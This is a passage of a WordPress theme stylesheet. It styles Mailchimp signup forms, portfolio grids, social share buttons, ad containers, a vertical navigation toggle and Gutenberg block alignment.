	line-height: var(--pcmc-height)
}
@media only screen and (min-width:1170px) {
	.penci-mailchimp-s2 .penci-header-signup-form .mc4wp-form-fields>p {
		margin-bottom: 0 !important
	}
	.penci-mailchimp-s2 .penci-header-signup-form .mc4wp-form-fields {
		display: flex;
		align-items: center
	}
	.penci-mailchimp-s2 .penci-header-signup-form .mc4wp-form-fields .mdes {
		flex: 1 1 400px
	}
	.penci-mailchimp-s2 .penci-header-signup-form .mc4wp-form-fields .memail,
	.penci-mailchimp-s2 .penci-header-signup-form .mc4wp-form-fields .mname {
		flex: 1 1 200px
	}
	.penci-mailchimp-s2 .penci-header-signup-form .mc4wp-form-fields .msubmit {
		flex: 0 0 auto
	}
}
.penci-mailchimp-s4 .mc4wp-form-fields {
	display: flex;
	align-items: center;
	margin-left: -5px;
	margin-right: -5px
}
@media only screen and (max-width:479px) {
	.penci-mailchimp-s4 .mc4wp-form-fields {
		flex-wrap: wrap
	}
}
.penci-mailchimp-s4 .mc4wp-form-fields .memail,
.penci-mailchimp-s4 .mc4wp-form-fields .mname {
	flex: 1 1 200px;
	padding: 0 5px
}
.penci-mailchimp-s4 .mc4wp-form-fields .msubmit {
	flex: 0 0 auto;
	padding: 0 5px
}
.penci-mailchimp-s4 .mc4wp-form-fields .memail,
.penci-mailchimp-s4 .mc4wp-form-fields .mname,
.penci-mailchimp-s4 .mc4wp-form-fields .msubmit {
	margin-bottom: 10px !important
}
.penci-mailchimp-s4 .mc4wp-form-fields .memail input,
.penci-mailchimp-s4 .mc4wp-form-fields .mname input,
.penci-mailchimp-s4 .mc4wp-form-fields .msubmit input {
	margin-bottom: 0 !important
}
.penci-mailchimp-s4 .mc4wp-form-fields .mdes,
.penci-mailchimp-s4 .mc4wp-form-fields .mname {
	display: none
}
.penci-portfolio-thumbnail .penci-image-placeholder {
	position: relative;
	display: block;
	background-color: #eee;
	background-repeat: no-repeat;
	background-position: center center;
	background-size: cover;
	-webkit-background-size: cover
}
.penci-portfolio-thumbnail .penci-image-placeholder>img {
	position: absolute;
	display: block;
	max-width: 100%;
	width: 100%;
	height: 100%;
	top: 0;
	left: 0
}
.wrapper-penci-portfolio {
	width: 100%;
	overflow: hidden
}
.penci-portfolio-filter {
	display: block;
	text-align: center;
	margin: 0 0 15px 0
}
.penci-portfolio-filter ul,
.post-entry .penci-portfolio-filter ul {
	list-style: none;
	display: inline-block;
	vertical-align: top;
	padding: 0 !important;
	margin: 0
}
.penci-portfolio-filter ul li,
.post-entry .penci-portfolio-filter ul li {
	display: inline-block;
	float: left;
	margin: 0 15px 5px;
	padding: 0
}
.penci-portfolio-filter ul li a,
.post-entry .penci-portfolio-filter ul li a {
	color: #313131;
	font-family: var(--pchead-font)
}
.penci-portfolio-filter ul li a:hover,
.penci-portfolio-filter ul li.active a,
.post-entry .penci-portfolio-filter ul li a:hover,
.post-entry .penci-portfolio-filter ul li.active a {
	color: var(--pcaccent-cl);
	text-decoration: none
}
.penci-portfolio-wrap {
	margin-left: -10px;
	margin-right: -10px
}
.penci-portfolio-wrap .inner-portfolio-posts {
	display: inline-block;
	width: 100%;
	vertical-align: top
}
.inner-portfolio-posts .portfolio-item {
	width: 33.33333%;
	padding: 0 10px;
	box-sizing: border-box;
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	float: left;
	margin-bottom: 20px
}
.container .penci-portfolio.column-2 .inner-portfolio-posts .portfolio-item,
.penci-portfolio.column-2 .inner-portfolio-posts .portfolio-item {
	width: 50%
}
.inner-item-portfolio {
	position: relative;
	opacity: 0;
	-webkit-animation-fill-mode: both;
	-moz-animation-fill-mode: both;
	-ms-animation-fill-mode: both;
	-o-animation-fill-mode: both;
	animation-fill-mode: both;
	-webkit-animation-duration: .7s;
	-moz-animation-duration: .7s;
	-ms-animation-duration: .7s;
	-o-animation-duration: .7s;
	animation-duration: .7s;
	-webkit-animation-delay: .1s;
	-moz-animation-delay: .1s;
	-o-animation-delay: .1s;
	animation-delay: .1s
}
.penci-portfolio-wrap.column-2 .portfolio-item:nth-child(2n+1) .inner-item-portfolio,
.penci-portfolio-wrap.column-3 .portfolio-item:nth-child(3n+2) .inner-item-portfolio {
	-webkit-animation-delay: .4s;
	-moz-animation-delay: .4s;
	-o-animation-delay: .4s;
	animation-delay: .4s
}
.penci-portfolio-wrap.column-3 .portfolio-item:nth-child(3n+3) .inner-item-portfolio {
	-webkit-animation-delay: .7s;
	-moz-animation-delay: .7s;
	-o-animation-delay: .7s;
	animation-delay: .7s
}
.pcpt-ajax-ftl .inner-portfolio-posts.loaded .inner-item-portfolio.animated,
.penci-portfolio.loaded .inner-item-portfolio.animated {
	-webkit-animation-name: pencifadeInUp;
	-moz-animation-name: pencifadeInUp;
	-o-animation-name: pencifadeInUp;
	animation-name: pencifadeInUp;
	opacity: 1
}
.penci-portfolio-thumbnail a:after {
	opacity: 0;
	position: absolute;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	background: #fff;
	content: "";
	-webkit-transition: .5s;
	transition: .5s;
	z-index: 10
}
.inner-item-portfolio:hover .penci-portfolio-thumbnail a:after {
	opacity: .87
}
.inner-item-portfolio .portfolio-desc {
	position: absolute;
	text-align: center;
	top: 50%;
	width: 100%;
	padding: 0 10px;
	margin: 0;
	z-index: 12;
	-webkit-transform: translateY(-50%);
	-ms-transform: translateY(-50%);
	transform: translateY(-50%)
}
.inner-item-portfolio a {
	text-decoration: none !important
}
.inner-item-portfolio .portfolio-desc h3 {
	opacity: 0;
	text-transform: uppercase;
	font-size: 14px;
	margin-bottom: 10px;
	position: relative;
	-webkit-transform: translateY(15px);
	-ms-transform: translateY(15px);
	transform: translateY(15px);
	-webkit-transition: .3s cubic-bezier(.215, .61, .355, 1) 0s;
	transition: .3s cubic-bezier(.215, .61, .355, 1) 0s;
	transition-delay: .2s;
	-webkit-transition-delay: .2s;
	-moz-transition-delay: .2s;
	color: #313131
}
.inner-item-portfolio .portfolio-desc span {
	opacity: 0;
	font-size: 12px;
	display: block;
	vertical-align: top;
	line-height: 1.3;
	text-decoration: none;
	color: #888;
	-webkit-transform: translateY(-15px);
	-ms-transform: translateY(-15px);
	transform: translateY(-15px);
	-webkit-transition: .3s cubic-bezier(.215, .61, .355, 1) 0s;
	transition: .3s cubic-bezier(.215, .61, .355, 1) 0s;
	transition-delay: .2s;
	-webkit-transition-delay: .2s;
	-moz-transition-delay: .2s
}
.inner-item-portfolio .portfolio-desc span del {
	margin-right: 5px;
	transform: translateY(2px);
	-webkit-transform: translateY(2px);
	display: inline-block
}
.inner-item-portfolio .portfolio-desc span span {
	display: inline-block
}
.inner-item-portfolio .portfolio-desc span del span {
	text-decoration: inherit
}
.inner-item-portfolio .portfolio-desc span ins span {
	font-size: 13px
}
.inner-item-portfolio:hover .portfolio-desc h3,
.inner-item-portfolio:hover .portfolio-desc span {
	opacity: 1;
	-webkit-transform: translateY(0);
	-ms-transform: translateY(0);
	transform: translateY(0)
}
.penci-portfolio-below_img .inner-item-portfolio .portfolio-desc {
	margin-top: 20px;
	position: relative;
	top: 0;
	transform: none
}
.penci-portfolio-below_img .inner-item-portfolio .portfolio-desc h3,
.penci-portfolio-below_img .inner-item-portfolio .portfolio-desc span {
	opacity: 1;
	-webkit-transform: translateY(0);
	-ms-transform: translateY(0);
	transform: translateY(0)
}
.penci-portfolio-below_img .penci-portfolio-thumbnail a:after {
	content: none
}
.single-portfolio-thumbnail {
	margin-bottom: 26px;
	text-align: center;
	vertical-align: top
}
.portfolio-page-content .portfolio-detail {
	margin: 0 auto;
	max-width: 1000px
}
.project-pagination a {
	font-weight: var(--pchead-wei);
	font-family: var(--pchead-font);
	text-transform: uppercase;
	font-size: 13px
}
.project-pagination .next-post a:after {
	display: inline-block;
	color: inherit;
	content: "\f178";
	font-family: FontAwesome;
	font-size: 14px;
	margin-left: 5px
}
.project-pagination .prev-post a:before {
	display: inline-block;
	color: inherit;
	content: "\f177";
	font-family: FontAwesome;
	font-size: 14px;
	margin-right: 5px
}
.penci-fawesome-ver5 .project-pagination .next-post a:after,
.penci-fawesome-ver5 .project-pagination .prev-post a:before {
	font-family: "Font Awesome 5 Free";
	font-weight: 900
}
.tags-share-box.hide-tags.page-share.no-border-bottom-portfolio {
	border-bottom: none
}
.penci-plf-loadmore {
	position: relative
}
.penci-pfl-ajaxdot {
	display: inline-block;
	width: 30px;
	height: 30px;
	background-color: #111;
	border-radius: 100%;
	-webkit-animation: scaleoutPortfolio 1s infinite ease-in-out;
	animation: scaleoutPortfolio 1s infinite ease-in-out;
	z-index: 50;
	opacity: 0;
	position: absolute;
	top: 5px;
	left: 50%;
	margin-left: -15px;
	visibility: hidden
}
.penci-ajax-more-button.loading-portfolios .penci-pfl-ajaxdot {
	opacity: 1;
	z-index: 100;
	visibility: visible
}
.penci-ajax-more-button.loading-portfolios .ajax-more-text {
	opacity: 0;
	visibility: hidden
}
.penci-ajax-more-button.loading-portfolios {
	background: 0 0 !important;
	color: transparent !important;
	border-color: transparent !important
}
@-webkit-keyframes scaleoutPortfolio {
	0% {
		-webkit-transform: scale(0)
	}
	100% {
		-webkit-transform: scale(1);
		opacity: 0
	}
}
@keyframes scaleoutPortfolio {
	0% {
		-webkit-transform: scale(0);
		transform: scale(0)
	}
	100% {
		-webkit-transform: scale(1);
		transform: scale(1);
		opacity: 0
	}
}
.portfolio-page-content .portfolio-detail {
	margin-left: 0;
	margin-right: 0
}
.penci-portfolio-meta-wrapper {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	margin: 30px -15px;
	--pc-pf-ct-w: 60%;
	--pc-pf-mt-w: 40%
}
.penci-portfolio-meta-wrapper .penci-page-header {
	text-align: left;
	padding-left: 15px;
	padding-right: 15px
}
.penci-portfolio-meta-wrapper .penci-portfolio-col {
	width: var(--pc-pf-ct-w);
	padding-left: 15px;
	padding-right: 15px
}
.penci-portfolio-meta-wrapper .penci-meta-lists {
	width: var(--pc-pf-mt-w)
}
@media only screen and (max-width:767px) {
	.penci-portfolio-meta-wrapper .penci-meta-lists {
		width: 100%
	}
}
.penci-portfolio-meta-wrapper .penci-shortdesc {
	width: var(--pc-pf-ct-w)
}
@media only screen and (max-width:767px) {
	.penci-portfolio-meta-wrapper .penci-shortdesc {
		width: 100%
	}
}
ul.portfolio-meta-lists {
	list-style: none;
	margin: 0;
	padding: 0;
	display: table;
	width: 100%
}
ul.portfolio-meta-lists li {
	display: table-row
}
ul.portfolio-meta-lists li:not(:last-child) span {
	padding-bottom: 10px
}
ul.portfolio-meta-lists span {
	display: table-cell
}
ul.portfolio-meta-lists span.title {
	font-weight: 700;
	min-width: 70px;
	padding-right: 10px
}
.container:not(.penci_sidebar) .post-entry.portfolio-style-3 {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row
}
@media only screen and (max-width:767px) {
	.container:not(.penci_sidebar) .post-entry.portfolio-style-3 {
		flex-direction: column-reverse
	}
}
.container:not(.penci_sidebar) .post-entry.portfolio-style-3 .penci-portfolio-meta-wrapper {
	flex-direction: column;
	margin-top: 0;
	margin-bottom: 0
}
.container:not(.penci_sidebar) .post-entry.portfolio-style-3 .penci-portfolio-meta-wrapper .penci-portfolio-col {
	width: 100%
}
.container:not(.penci_sidebar) .post-entry.portfolio-style-3 .penci-portfolio-meta-wrapper,
.container:not(.penci_sidebar) .post-entry.portfolio-style-3 .portfolio-page-content {
	flex: 0 0 auto
}
.container:not(.penci_sidebar) .post-entry.portfolio-style-3 .penci-portfolio-meta-wrapper {
	width: 29.06%
}
@media only screen and (max-width:767px) {
	.container:not(.penci_sidebar) .post-entry.portfolio-style-3 .penci-portfolio-meta-wrapper {
		width: 100%
	}
}
.container:not(.penci_sidebar) .post-entry.portfolio-style-3 .portfolio-page-content {
	width: 70.94%;
	padding-left: 60px
}
@media only screen and (max-width:767px) {
	.container:not(.penci_sidebar) .post-entry.portfolio-style-3 .portfolio-page-content {
		width: 100%;
		padding-left: 0
	}
}
.container.no_content .post-entry.portfolio-style-3 .portfolio-page-content {
	width: 100%;
	padding-left: 0
}
.penci-sidebar-content .penci-portfolio-meta-wrapper {
	flex-direction: column;
	margin-top: 0;
	margin-bottom: 60px
}
.penci-sidebar-content .penci-portfolio-meta-wrapper .penci-portfolio-col {
	width: 100%
}
.portfolio-bottom-share {
	text-align: center
}
.portfolio-bottom-share.has-border {
	border-bottom: 1px solid #dedede
}
.portfolio-share-box>span {
	border-top: 1px solid var(--pcborder-cl);
	padding-top: 10px;
	margin-top: 10px
}
.portfolio-bottom-share .portfolio-share-box>span {
	border-top: 0;
	padding-top: 0;
	margin-top: 0
}
.portfolio-share-box.tags-share-box {
	padding-right: 0
}
.portfolio-share-box .share-title {
	font-weight: var(--pchead-wei);
	font-family: var(--pchead-font);
	font-size: 12px;
	text-transform: uppercase;
	margin-right: 10px
}
.portfolio-share-box .list-posts-share a {
	color: var(--pcheading-cl);
	text-decoration: none
}
.portfolio-share-box .list-posts-share a:hover {
	color: var(--pcaccent-cl)
}
.portfolio-share-box .list-posts-share a span {
	display: none
}
.portfolio-share-box .list-posts-share a:not(:last-child) {
	margin-right: 10px
}
.portfolio-share-box.style-2 .list-posts-share a,
.portfolio-share-box.style-3 .list-posts-share a,
.portfolio-share-box.style-4 .list-posts-share a {
	display: inline-flex;
	align-items: center;
	justify-content: center;
	width: 36px;
	height: 36px;
	margin-right: 5px;
	transition: all .3s ease-in-out;
	color: #000;
	border: 1px solid var(--pcborder-cl);
	border-radius: 50%
}
.portfolio-share-box.style-2 .list-posts-share a:hover,
.portfolio-share-box.style-3 .list-posts-share a,
.portfolio-share-box.style-3 .list-posts-share a:hover,
.portfolio-share-box.style-4 .list-posts-share a:hover {
	color: #fff
}
.portfolio-share-box.style-2 a.post-share-facebook:hover,
.portfolio-share-box.style-3 a.post-share-facebook,
.portfolio-share-box.style-3 a.post-share-facebook:hover,
.portfolio-share-box.style-4 a.post-share-facebook:hover {
	background-color: #0d47a1;
	border-color: #0d47a1
}
.portfolio-share-box.style-2 a.post-share-twitter:hover,
.portfolio-share-box.style-3 a.post-share-twitter,
.portfolio-share-box.style-3 a.post-share-twitter:hover,
.portfolio-share-box.style-4 a.post-share-twitter:hover {
	background-color: #40c4ff;
	border-color: #40c4ff
}
.portfolio-share-box.style-2 a.post-share-pinterest:hover,
.portfolio-share-box.style-3 a.post-share-pinterest,
.portfolio-share-box.style-3 a.post-share-pinterest:hover,
.portfolio-share-box.style-4 a.post-share-pinterest:hover {
	background-color: #bd081c;
	border-color: #bd081c
}
.portfolio-share-box.style-2 a.post-share-email:hover,
.portfolio-share-box.style-3 a.post-share-email,
.portfolio-share-box.style-3 a.post-share-email:hover,
.portfolio-share-box.style-4 a.post-share-email:hover {
	background-color: #0084ff;
	border-color: #0084ff
}
.portfolio-share-box.style-2 a.post-share-linkedin:hover,
.portfolio-share-box.style-3 a.post-share-linkedin,
.portfolio-share-box.style-3 a.post-share-linkedin:hover,
.portfolio-share-box.style-4 a.post-share-linkedin:hover {
	background-color: #0077b5;
	border-color: #0077b5
}
.portfolio-share-box.style-2 a.post-share-tumblr:hover,
.portfolio-share-box.style-3 a.post-share-tumblr,
.portfolio-share-box.style-3 a.post-share-tumblr:hover,
.portfolio-share-box.style-4 a.post-share-tumblr:hover {
	background-color: #34465d;
	border-color: #34465d
}
.portfolio-share-box.style-2 a.post-share-vk:hover,
.portfolio-share-box.style-3 a.post-share-vk,
.portfolio-share-box.style-3 a.post-share-vk:hover,
.portfolio-share-box.style-4 a.post-share-vk:hover {
	background-color: #5181b8;
	border-color: #5181b8
}
.portfolio-share-box.style-2 a.post-share-pocket:hover,
.portfolio-share-box.style-3 a.post-share-pocket,
.portfolio-share-box.style-3 a.post-share-pocket:hover,
.portfolio-share-box.style-4 a.post-share-pocket:hover {
	background-color: #ef4056;
	border-color: #ef4056
}
.portfolio-share-box.style-2 a.post-share-skype:hover,
.portfolio-share-box.style-3 a.post-share-skype,
.portfolio-share-box.style-3 a.post-share-skype:hover,
.portfolio-share-box.style-4 a.post-share-skype:hover {
	background-color: #00aff0;
	border-color: #00aff0
}
.portfolio-share-box.style-2 a.post-share-whatsapp:hover,
.portfolio-share-box.style-3 a.post-share-whatsapp,
.portfolio-share-box.style-3 a.post-share-whatsapp:hover,
.portfolio-share-box.style-4 a.post-share-whatsapp:hover {
	background-color: #00e676;
	border-color: #00e676
}
.portfolio-share-box.style-2 a.post-share-telegram:hover,
.portfolio-share-box.style-3 a.post-share-telegram,
.portfolio-share-box.style-3 a.post-share-telegram:hover,
.portfolio-share-box.style-4 a.post-share-telegram:hover {
	background-color: #289fd9;
	border-color: #289fd9
}
.portfolio-share-box.style-2 a.post-share-reddit:hover,
.portfolio-share-box.style-3 a.post-share-reddit,
.portfolio-share-box.style-3 a.post-share-reddit:hover,
.portfolio-share-box.style-4 a.post-share-reddit:hover {
	background-color: #f74300;
	border-color: #f74300
}
.portfolio-share-box.style-2 a.post-share-ok:hover,
.portfolio-share-box.style-3 a.post-share-ok,
.portfolio-share-box.style-3 a.post-share-ok:hover,
.portfolio-share-box.style-4 a.post-share-ok:hover {
	background-color: #f18f00;
	border-color: #f18f00
}
.portfolio-share-box.style-2 a.post-share-stumbleupon:hover,
.portfolio-share-box.style-3 a.post-share-stumbleupon,
.portfolio-share-box.style-3 a.post-share-stumbleupon:hover,
.portfolio-share-box.style-4 a.post-share-stumbleupon:hover {
	background-color: #eb4823;
	border-color: #eb4823
}
.portfolio-share-box.style-2 a.post-share-viber:hover,
.portfolio-share-box.style-3 a.post-share-viber,
.portfolio-share-box.style-3 a.post-share-viber:hover,
.portfolio-share-box.style-4 a.post-share-viber:hover {
	background-color: #7d51a0;
	border-color: #7d51a0
}
.portfolio-share-box.style-2 a.post-share-line:hover,
.portfolio-share-box.style-3 a.post-share-line,
.portfolio-share-box.style-3 a.post-share-line:hover,
.portfolio-share-box.style-4 a.post-share-line:hover {
	background-color: #01b901;
	border-color: #01b901
}
.portfolio-share-box.style-3 .list-posts-share a:hover {
	opacity: .85
}
.portfolio-share-box.style-4 .list-posts-share a {
	background-color: #eee;
	border-color: #eee
}
.portfolio-share-box.style-4 .list-posts-share a:hover {
	color: #fff
}
@media only screen and (min-width:768px) {
	.container.portfolio-single-width-no-sidebar-small-container {
		max-width: 770px;
		margin-left: auto;
		margin-right: auto
	}
}
.container.portfolio-single-width-fullwidth {
	width: 100%;
	padding-left: 15px;
	padding-right: 15px
}
.portfolio-releated-area .item-related h3 a {
	letter-spacing: 0;
	text-transform: none;
	font-size: 16px
}
.portfolio-releated-area .item-related .portfolio-cat {
	display: block;
	margin-top: 6px
}
.portfolio-releated-area .item-related .portfolio-cat a {
	color: var(--pcmeta-cl)
}
.portfolio-releated-area .item-related .portfolio-cat a:hover {
	color: var(--pcaccent-cl)
}
.portfolio-releated-area .item-related .portfolio-cat a:not(:last-child):after {
	content: ",";
	display: inline-block
}
.portfolio-page-content .portfolio-detail {
	max-width: unset
}
div.bbp-breadcrumb {
	float: none;
	display: block;
	margin-bottom: 30px
}
.bbp-breadcrumb a,
.bbp-breadcrumb span {
	font-size: 13px;
	color: #888;
	font-family: var(--pchead-font);
	font-weight: 500
}
.bbp-breadcrumb .bbp-breadcrumb-sep {
	color: #888;
	font-size: 13px;
	margin: 0 15px
}
.widget_display_stats dl {
	overflow: hidden
}
.widget_display_stats dd,
.widget_display_stats dt {
	display: inline-block;
	vertical-align: top;
	margin-bottom: 11px;
	padding-bottom: 12px;
	border-bottom: 1px solid #dedede;
	font-size: 14px
}
.widget_display_stats dd:last-of-type,
.widget_display_stats dt:last-of-type {
	margin-bottom: 0;
	padding-bottom: 0;
	border-bottom: none
}
.widget_display_stats dt {
	float: left;
	width: 75%
}
.widget_display_stats dt:before {
	content: "\f105";
	font-family: FontAwesome;
	display: inline-block;
	margin-right: 10px;
	font-size: 90%
}
.penci-fawesome-ver5 .widget_display_stats dt:before {
	font-family: "Font Awesome 5 Free";
	font-weight: 900
}
.widget_display_stats dd {
	float: right;
	font-style: italic;
	color: #888;
	font-family: var(--pcbody-font);
	font-weight: 400;
	text-align: right;
	width: 25%;
	position: relative
}
.widget_display_stats dd strong {
	font-weight: 400
}
div.ppt {
	font-weight: 400
}
.pp_gallery ul,
.pp_gallery ul a {
	height: 62px
}
.pp_gallery {
	margin-top: -65px
}
.pp_nav p {
	line-height: 1
}
.penci-google-adsense,
.penci-google-adsense-1,
.penci-google-adsense-2 {
	margin: 0 0 30px;
	text-align: center;
	overflow: hidden;
	display: block
}
@media only screen and (max-width:767px) {
	.penci-google-adsense,
	.penci-google-adsense-1,
	.penci-google-adsense-2 {
		overflow: visible
	}
}
.penci-google-adsense.penci-google-adsense-footer {
	margin-left: auto;
	margin-right: auto;
	margin-bottom: 50px
}
.penci-adsense-below-slider {
	margin-left: auto;
	margin-right: auto;
	margin-bottom: 60px;
	margin-top: calc(30px - var(--pchd-mg));
	text-align: center
}
.widget_text .textwidget blockquote {
	margin-bottom: 10px;
	padding-left: 40px;
	position: relative
}
.widget_text .textwidget blockquote:before {
	color: #999;
	position: absolute;
	top: 0;
	left: 0;
	font-size: 22px;
	content: "\f10d";
	font-family: FontAwesome;
	line-height: 1
}
.penci-fawesome-ver5 .widget_text .textwidget blockquote:before {
	font-family: "Font Awesome 5 Free";
	font-weight: 900
}
.penci-vernav-enable .penci-menu-hbg {
	box-shadow: 0 0 2px 0 rgba(0, 0, 0, .15);
	-moz-box-shadow: 0 0 2px 0 rgba(0, 0, 0, .15);
	-webkit-box-shadow: 0 0 2px 0 rgba(0, 0, 0, .15)
}
.penci-vernav-toggle {
	position: fixed;
	width: 50px;
	height: 50px;
	display: none;
	line-height: 40px;
	background: 0 0;
	top: 0;
	left: 0;
	z-index: 99997;
	transition: all .5s;
	-webkit-transition: all .5s;
	overflow: hidden
}
.penci-vernav-toggle svg {
	position: absolute;
	top: 5px;
	left: 5px;
	fill: #fff
}
.penci-vernav-poright .penci-vernav-toggle svg {
	left: auto;
	right: 5px
}
.penci-vernav-poright .penci-vernav-toggle {
	right: 0;
	left: auto
}
.penci-vernav-poleft.penci-menuhbg-open .penci-vernav-toggle {
	left: 330px
}
.penci-vernav-poright.penci-menuhbg-open .penci-vernav-toggle {
	right: 330px
}
body.admin-bar .penci-vernav-toggle {
	top: 32px
}
@media screen and (max-width:782px) {
	body.admin-bar .penci-vernav-toggle {
		top: 46px
	}
}
.penci-vernav-toggle:before {
	width: 0;
	height: 0;
	border-top: 50px solid var(--pcaccent-cl);
	border-right: 50px solid transparent;
	content: "";
	display: block
}
.penci-vernav-poright .penci-vernav-toggle:before {
	border-left: 50px solid transparent
}
.penci-vernav-toggle i {
	position: absolute;
	z-index: 10;
	font-size: 14px;
	top: 7px;
	left: 9px;
	font-weight: 400;
	line-height: 1;
	color: #fff
}
body.penci-fawesome-ver5 .penci-vernav-toggle i {
	font-weight: 900
}
.penci-vernav-poright .penci-vernav-toggle i {
	left: auto;
	right: 9px
}
@media only screen and (min-width:961px) {
	.penci-vernav-enable.penci-vernav-poleft .pencipdc_podcast.pencipdc_dock_player,
	.penci-vernav-enable.penci-vernav-poleft .wrapper-boxed {
		padding-left: 330px
	}
	.penci-vernav-enable.penci-vernav-poright .pencipdc_podcast.pencipdc_dock_player,
	.penci-vernav-enable.penci-vernav-poright .wrapper-boxed {
		padding-right: 330px
	}
	.penci-vernav-enable .is-sticky #navigation {
		width: calc(100% - 330px)
	}
	.penci-vernav-enable .penci-menu-hbg {
		transform: none !important;
		-webkit-transform: none !important;
		-moz-transform: none !important
	}
}
@media only screen and (max-width:960px) {
	.penci-vernav-toggle {
		display: inline-block
	}
}
@media only screen and (max-width:479px) {
	.penci-menu-hbg {
		width: 330px !important
	}
	.penci-menuhbg-open .penci-menu-hbg.penci-menu-hbg-left,
	.penci-vernav-poleft.penci-menuhbg-open .penci-vernav-toggle {
		left: 330px !important
	}
	.penci-menuhbg-open .penci-menu-hbg.penci-menu-hbg-right,
	.penci-vernav-poright.penci-menuhbg-open .penci-vernav-toggle {
		right: 330px !important
	}
	.penci-menu-hbg.penci-menu-hbg-right {
		transform: translateX(330px) !important;
		-webkit-transform: translateX(330px) !important;
		-moz-transform: translateX(330px) !important
	}
	.penci-menu-hbg.penci-menu-hbg-left {
		transform: translateX(-330px) !important;
		-webkit-transform: translateX(-330px) !important;
		-moz-transform: translateX(-330px) !important
	}
}
.penci-hbg-search-box {
	margin-bottom: 30px
}
form.pc-searchform.penci-hbg-search-form .inner-hbg-search-form {
	position: relative
}
form.pc-searchform.penci-hbg-search-form input.search-input {
	width: 100%;
	background: 0 0;
	font-size: 13px;
	letter-spacing: 0;
	transition: all .3s;
	-webkit-transition: all .3s
}
form.pc-searchform.penci-hbg-search-form input.search-input:focus,
form.pc-searchform.penci-hbg-search-form input.search-input:hover {
	border-color: var(--pcaccent-cl)
}
form.pc-searchform.penci-hbg-search-form i {
	font-size: 14px;
	color: #c7c7c7
}
#sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input:focus,
#sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input:hover {
	border-color: #e9e9e9
}
@media only screen and (max-width:1350px) and (min-width:961px) {
	.penci-vernav-enable .container.penci_sidebar #main,
	.penci-vernav-enable .penci-sidebar-content,
	.penci-vernav-enable .penci-single-style-10 #sidebar.penci-sidebar-content,
	.penci-vernav-enable .penci-single-style-10 .penci-single-s10-content,
	.penci-vernav-enable .penci-single-style-13 #sidebar.penci-sidebar-content,
	.penci-vernav-enable .penci-single-style-13 .penci-single-s13-content {
		width: 100%;
		padding-left: 0 !important;
		padding-right: 0 !important
	}
	.penci-vernav-enable .penci-single-style-10 .penci-sidebar-content,
	.penci-vernav-enable .penci-single-style-10 .penci-single-s10-content,
	.penci-vernav-enable .penci-single-style-13 .penci-sidebar-content,
	.penci-vernav-enable .penci-single-style-13 .penci-single-s13-content {
		width: 100%;
		position: static;
		margin-left: 0;
		top: auto;
		float: none;
		display: block
	}
	.penci-vernav-enable .penci-single-style-10 .penci-sidebar-content,
	.penci-vernav-enable .penci-single-style-13 .penci-sidebar-content {
		margin-bottom: 30px
	}
	.penci-vernav-enable .penci-sidebar-content,
	.penci-vernav-enable .penci-single-style-10 #sidebar.penci-sidebar-content,
	.penci-vernav-enable .penci-single-style-13 #sidebar.penci-sidebar-content {
		margin-bottom: 40px
	}
}
@media only screen and (max-width:1300px) and (min-width:961px) {
	.penci-vernav-enable .footer-widget-wrapper.footer-widget-style-1,
	.penci-vernav-enable .footer-widget-wrapper.footer-widget-style-2,
	.penci-vernav-enable .footer-widget-wrapper.footer-widget-style-3,
	.penci-vernav-enable .footer-widget-wrapper.footer-widget-style-5,
	.penci-vernav-enable .footer-widget-wrapper.footer-widget-style-6,
	.penci-vernav-enable .footer-widget-wrapper.footer-widget-style-7,
	.penci-vernav-enable .footer-widget-wrapper.footer-widget-style-8,
	.penci-vernav-enable .footer-widget-wrapper.footer-widget-style-9 {
		width: 100%;
		margin-right: 0;
		margin-bottom: 30px
	}
	.penci-vernav-enable .footer-widget-wrapper.footer-widget-style-4 {
		width: 48.5%;
		margin-bottom: 30px
	}
	.penci-vernav-enable .footer-widget-wrapper.last {
		margin-bottom: 0
	}
	.penci-vernav-enable .footer-widget-wrapper.footer-widget-style-4:nth-child(2n+2) {
		margin-right: 0
	}
}
.penci-wpblock .penci-gutenberg-missing {
	display: none !important
}
.penci-wpblock ul.penci-grid {
	margin-left: 0;
	padding-left: 0
}
.post-entry ol li.wp-block-latest-comments__comment {
	margin-bottom: 15px
}
.post-entry .wp-block-quote::before,
.wp-block-quote::before {
	content: "â€"
}
.penci_is_nosidebar .alignfull,
.penci_is_nosidebar .wp-block-cover-image.alignfull,
.penci_is_nosidebar .wp-block-cover.alignfull,
.penci_is_nosidebar .wp-block-gallery.alignfull,
.penci_is_nosidebar .wp-block-image.alignfull {
	margin-left: calc(50% - 50vw);
	width: 100vw;
	max-width: 100vw
}
.penci_is_nosidebar .alignfull,
.penci_is_nosidebar .wp-block-cover-image.alignfull,
.penci_is_nosidebar .wp-block-cover.alignfull,
.penci_is_nosidebar .wp-block-gallery.alignfull,
.penci_is_nosidebar .wp-block-image.alignfull {
	margin-left: calc(50% - 50vw);
	width: 100vw;
	max-width: 100vw
}
.post-entry ul.blocks-gallery-grid {
	padding-left: 0
}
.is-type-wp-embed .wp-block-embed__wrapper iframe {
	position: static !important
}
.is-type-wp-embed .wp-block-embed__wrapper blockquote {
	display: none
}
@media only screen and (min-width:961px) {
	.penci-vernav-enable .penci_is_nosidebar .alignfull,
	.penci-vernav-enable .penci_is_nosidebar .wp-block-cover-image.alignfull,
	.penci-vernav-enable .penci_is_nosidebar .wp-block-cover.alignfull,
	.penci-vernav-enable .penci_is_nosidebar .wp-block-gallery.alignfull,
	.penci-vernav-enable .penci_is_nosidebar .wp-block-image.alignfull {
		margin-left: calc(50% - 50vw + 165px);
		width: calc(100vw - 330px)
	}
}
.penci_is_nosidebar .alignwide,
.penci_is_nosidebar .wp-block-cover-image.alignwide,
.penci_is_nosidebar .wp-block-cover.alignwide,
.penci_is_nosidebar .wp-block-gallery.alignwide,
.penci_is_nosidebar .wp-block-image.alignwide {
	margin-left: calc(25% - 25vw);
	width: calc(50vw + 50%);
	max-width: calc(50vw + 50%)
}
@media only screen and (max-width:767px) {
	.penci_is_nosidebar .alignwide,
	.penci_is_nosidebar .wp-block-cover-image.alignwide,
	.penci_is_nosidebar .wp-block-cover.alignwide,
	.penci_is_nosidebar .wp-block-gallery.alignwide,
	.penci_is_nosidebar .wp-block-image.alignwide {
		margin-left: calc(50% - 50vw);
		width: 100vw;
		max-width: 100vw
	}
}
.wp-block-cover .wp-block-cover-image-text,
.wp-block-cover .wp-block-cover-text,
